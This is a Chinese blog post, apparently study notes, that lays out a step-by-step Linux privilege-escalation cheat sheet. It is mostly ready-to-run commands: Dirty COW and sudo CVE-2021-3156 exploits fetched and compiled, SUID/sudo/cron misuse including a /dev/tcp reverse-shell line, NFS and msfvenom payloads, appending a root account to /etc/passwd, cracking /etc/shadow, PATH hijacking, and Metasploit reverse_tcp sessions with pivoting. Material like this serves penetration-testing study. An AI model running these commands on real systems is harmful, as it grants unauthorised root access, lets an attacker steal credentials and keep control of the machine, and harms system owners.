标签:1.5 shell etc 提权 文件 Linux 权限 root
- 提权信息收集工具(推荐:linpeas)
1). Linux 提权工具:linpeas
(需下载到对方主机后提取执行 chmod +x 软件名
,./linpeas_linux_amd64 > 1.txt
,cat 1.txt
)[推荐]
2). 内核漏洞提权工具:linux-exploit-suggester-2-master
| |
---|
系统漏洞提权 |
| |
---|
系统内核漏洞 |
| |
---|
脏牛提权 (CVE-2016-5195) |
| |
---|
原理 | 利用读取和复制的条件竞争,对只读内存进行映射,进行读写 | 影响版本 | 2.6.22 < x < 3.9 | 利用方式 |
| |
---|
脚本 | # 使用脚本寻找 EXP
# 拥有 linux-exploit-suggester-2-master 文件的 启动http服务,提供下载服务
Python -m http.server
# 需提权主机进行下载
wget http://192.168.7.23:8000/linux-exploit-suggester-2.pl
# 对下载的文件添加执行权限
chmod +x linux-exploit-suggester-2.pl
# 执行
./linux-exploit-suggester-2.pl
# 根据提示信息下载EXP利用 | 手工 (少) | # # 查看内核版本信息
详细信息:uname -a
版本信息:uname -r
# 查看系统发行版本
cat /etc/issue
# kali 寻找对应版本EXP,例版本为2.6.32
searchsploit Linux Kernel 2.6.32 - 'Dirty COW'
# 或是
searchsploit 2.6.32 | 通用 | # kali复制指定文件到当前路径(推荐.c文件),例40839.c
searchsploit -m 40839.c
# kali 开启http服务(注意服务启动位置)
python -m http.server 8000
# 需提权的机器进行下载
wget http://192.168.7.229:8000/40839.c
# 编译
gcc -pthread 40839.c -o 40839 -lcrypt
# 运行
./40839
# 登录创建的用户
su firefart
# 查看用户权限
id
# 最后执行它提示的命令
例: mv /tmp/passwd.bak /etc/passwd |
|
|
| 系统自带软件漏洞 |
| |
---|
sudo软件提权 |
影响版本 | Sudo 1.8.2 - 1.8.31p2 Sudo 1.9.0 - 1.9.5p1 | 检测漏洞 | sudoedit -s / # 若返回内容以sudoedit: 开头,则可能存在漏洞 # 若返回内容以usage: 开头,则不存在漏洞 | 利用方式 | # 下载EXP到对方主机上,解压
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
# 执行make
make
# 执行exp <target_number> 为对应的模式
./sudo-hax-me-a-sandwich <target_number> |
|
|
|
文件权限配置错误提权 |
| |
---|
SUDO提权 |
| |
---|
定义 | 系统管理命令,让普通用户能够以管理员身份运行命令 | 配置文件 | /etc/sudoers 写入 用户名 ALL=(ALL) NOPASSWD: /usr/bin/find | 提权原理 | sudo命令的配置错误或不当使用 | 提权函数 | find ,awk ,vi ,vim ,more ,less ,Java ,git 等等 | 利用方式 | # 列出当前用户拥有sudo权限的命令
sudo -l
# 选择 NOPASSWD 进行测试:
# 通过在线辅助网站选择sudo,查找命令 :https://gtfobins.github.io/
# 执行,若是需要输入密码则不成功
# 执行成功返回 root权限
# 通过 id/whoami 查看用户权限 | 其他 | Linux的三种用户:root用户,sudo用户,非sudo用户 | | SUID提权 |
| |
---|
定义 | 文件的一种特殊权限,会获取文件所有者的权限 | 利用方式 | # 命令列出拥有suid权限的shell (3选1)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; [推荐]
# 目标:属主为root用户,且拥有双s权限可提权,例:-rwsr-sr-x 1 root
# 通过在线辅助网站选择sudo,查找命令 :https://gtfobins.github.io/
# 执行除第一条外的语句
# 通过 id /whoami查看用户权限 | | 计划任务 |
| |
---|
计划任务文件位置 | /etc/crontab | 原理 | 计划任务文件权限配置错误,使普通用户也可以进行编辑 寻找root权限执行的计划任务:例:*/1 * * * * root /etc/cron.daily/backup | 利用方式 | # 查看计划任务
cat /etc/crontab
# vi 或 vim 编辑找到的计划任务文件
例:vi /etc/cron.daily/backup
# 写入反弹shell的语句,经过其设置的更新时间 即可反弹到shell(注意操作系统)
例:/bin/sh -i >& /dev/tcp/192.168.56.1/555 0>&1
# 监听的操作系统使用nc监听
例:nc -lvnp 555
# 最后等待计划任务启动即可(root权限)
# 或是命令启动(拥有命令执行者的权限)
以上述为例,则直接运行 /etc/cron.daily/backup 即可 |
| NFS提权 |
检测 | # 1. 通过nmap扫描对方开启nfs服务 # 2. 执行cat /etc/exports 如果没有内容,则无法提取 | 利用 | # kali 查看对方主机上是否有符合条件的 nfs 服务
showmount -e 92.168.56.101
发现:
Export list for 192.168.56.101:
/home/peter *
# kali 创建文件夹(文件名任意)
mkdir /home/peter/nfs
# kali:将 /home/peter/nfs目录 挂载到需提权主机的 /home/peter 目录
mount -o rw,vers=3 192.168.56.101:/home/peter /home/peter/nfs
# 移动到 /home/peter/nfs 目录下,创建木马,赋予其执行权限 cd /home/peter/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /home/peter/nfs/shell.elf
chmod +xs shell.elf
# 需提取主机运行,实现提权
./shell.elf
# 完成操作后取消挂载
umount /home/peter/nfs |
| MySQL提权 |
前提条件 |
- 有写入权限
- 知道数据库的绝对路径
- secure_file_priv=' '
show global variables like '%secure%' - 知道数据库的账户密码(数据库配置文件 或 history)
- 数据库安装目录下有
lib\plugin 目录 select @@basedir
| 命令执行 | sqlmap -d "mysql://账户:密码@IP:端口/数据库名" --os-shell --batch 例:sqlmap -d "mysql://root:[email protected]:3306/mysql" --os-shell --batch |
| 不安全的文件配置 |
| |
---|
/etc/passwd 可写 | # 查看 /etc/passwd 文件权限,普通用户是否具有写的权限(w)
ls -al /etc/passwd
# 生成密码
openssl passwd 123456
# 将新用户写入 /etc/passwd (必须是单引号)
例:echo 'newroot:$1$8v.LChZq$qCWrrvnKGc7m7z0uwc/3m0:0:0:newroot:/root:/bin/bash' >> /etc/passwd
# 登录用户
su 用户名
# 其他 - /etc/shadow中不同加密方式开头
$1$ MD5加密
$5$ SHA-256加密
$6$ SHA-512加密 | /etc/shadow 可读 | # 读取 /etc/shadow 文件
cat /etc/shadow
# 创建文件(文件名任意,记住文件位置)
touch hash.txt
# 取出 /etc/shadow 中要解码的用户信息,写入创建的文件
vim hash.txt
# 对 hash.txt 中的文件进行解码返回
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt | | 变量劫持提权 |
| |
---|
条件 | 系统中存在带有suid的文件,且这个文件中必须有系统命令 # 命令列出拥有suid权限的shell (3选1)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; [推荐]
# 目标:属主为root用户,且拥有双s权限可提权,例:-rwsr-sr-x 1 root
-rwsrwsr-x 1 root root 8384 Sep 11 09:58 /home/bob/shell | 环境搭建 | # 编辑.c文件(替换命令为suid执行的系统命令)
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}
# 编辑.c文件
gcc shell.c -o shell
# 修改文件的属主为root其修改文件添加s权限
chown root:root shell
chmod +s shell | 利用 | # 命令列出拥有suid权限的shell (3选1)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; [推荐]
# 目标:属主为root用户,且拥有双s权限可提权,例:-rwsr-sr-x 1 root
-rwsrwsr-x 1 root root 8384 Sep 11 09:58 /home/bob/shell
# 将 SUID 提权命令写入ps文件中(文件名任意)
echo "命令" > ps
#例,写入/bin/bash
echo "/bin/bash" > ps
# 给创建的文件增加执行权限
chmod 777 ps
# 在创建文件路径下,添加临时环境变量 (终端关闭后失效)
export PATH=.:$PATH
# 执行 shell 相当于执行 上面写入的 /bin/bash 命令,实现提权
./shell
# 其他特殊的(保持当前环境变量不变<--preserve-env=PATH >,以root权限执行脚本<sudo>)
sudo --preserve-env=PATH 脚本路径 |
| MSF提权 | # 生成Linux 木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.7.229 LPORT=9999 -f elf -o shell.elf
# 启动msf
msfconsole
# 启动监听
use exploit/multi/handler
# 查看需要设置的内容
show options
# 设置参数
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.7.229
set LPORT 9999
# 运行
run
# kali 另开窗口,启动http服务(注意服务启动位置)
python -m http.server
# 需提权的主机,下载木马
wget http://192.168.7.229:8000/shell.elf
# 赋予执行权限,运行
chmod +x shell.elf
./shell.elf
# 寻找可提权的nday后执行
run post/multi/recon/local_exploit_suggester
# 将当前命令环境置于后台
bg
# 查看并选择sessions
# 查看:sessions
# 选择:set session ID
# 使用前面的提权exp执行
run exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
# 提权成功,可以以高权限用户身份执行命令
shell
# 执行后可能没回显,但能以root身份执行系统命令
例:whoami
# 添加路由
run post/multi/manage/autoroute
#查看路由信息
run autoroute -p
# 设置代理 (默认为 socks5代理 127.0.0.1 的 1080 端口)
use auxiliary/server/socks_proxy
run
# 回车 ,exit,进行主机存活扫描
use auxiliary/scanner/portscan/tcp
set PORTS 21,22,23,80,443,8080,3389,445
set RHOSTS 10.0.20.0/24
run
# 编辑proxychains
vim /etc/proxychains.conf
# 写入 (默认1080)
socks5 127.0.0.01 1080
# 亦或是 将代理服务器的IP设为vps公网ip,在本机进行访问
show options
set SRVHOST 公网IP
set SRVPORT 公网端口 |
|
-
本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。
-
本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。
-
本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。
-
读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。
-
本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。
-
作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。
敬请广大读者谅解。如有疑问,请联系我们。谢谢!
标签:1.5,
shell,
etc,
提权,
文件,
Linux,
权限,
root
From: https://blog.csdn.net/m0_73983897/article/details/143475854